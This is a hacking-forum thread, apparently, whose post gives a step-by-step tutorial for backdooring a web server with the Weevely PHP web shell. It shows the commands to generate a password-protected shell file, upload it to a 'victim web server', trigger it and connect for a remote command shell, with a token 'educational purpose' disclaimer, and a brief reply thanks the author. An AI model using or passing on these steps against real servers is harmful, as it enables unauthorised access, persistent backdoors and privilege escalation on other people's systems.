Tutorial Backdoor A Web Server Using Weevely

D4rkMoney

D4rkMoney

Premium Member
Joined
November 12, 2025
Messages
324
Reaction score
2,484
Points
93
  • Thread Author
  • #1
Backdoor A Web Server Using Weevely
Today's tutorial is about backdooring a web server using weevely. Weevely gives you the command line interface to the attacker where attacker can easily compile and execute root exploits. This tool is very helpful when you don't have any option to port forward.

What is Weevely
Weevely is a command line web shell dynamically extended over the network at runtime, designed or remote server administration and penetration testing.
Its terminal executes arbitrary remote code through the small footprint PHP agent that sits on the HTTP server. Over 30 modules shape an adaptable web administration and post-exploitation backdoor for access maintenance, privilege escalation and network lateral movement, even in restricted environment.

How Weevely Works
  • First we create weevely backdoor file.
  • Then we upload it to web server.
  • After that execute the file and access the command line interface from weevely.

Follow these steps to backdoor a web server using Weevely
1. Install weevely from github. I am using Parrot OS it comes pre installed with weevely.
2. After installing ropen weevely using the following command.

Code:
sudo weevely
LsC0xUml.png

3. Now we need to generate the backdoored php file, use the following command to do that.
Code:
weevely generate samplepasswd /home/uname/Desktop/shell.php
4. Now upload generated file to your victim web server and visit the location URL to execute it. Example
Code:
http://www.exampleserver.com/shell.php
5. After successful execution we need to open weevely again to access the command shell. Use the following commands to do that.
Code:
weevely http://www.exampleserver.com/shell.php samplepasswd
6. Now you can easily access the command line shell.

Note
This is only for educational prupose.
 
  • Like
Reactions: Anoynokali
A

Anoynokali

Member
Joined
August 28, 2026
Messages
36
Reaction score
0
Points
1
  • #2
Thanks for sharing
 
  • Tags
    a backdoor cybersecurity tutorial server tutorial using web web server weevely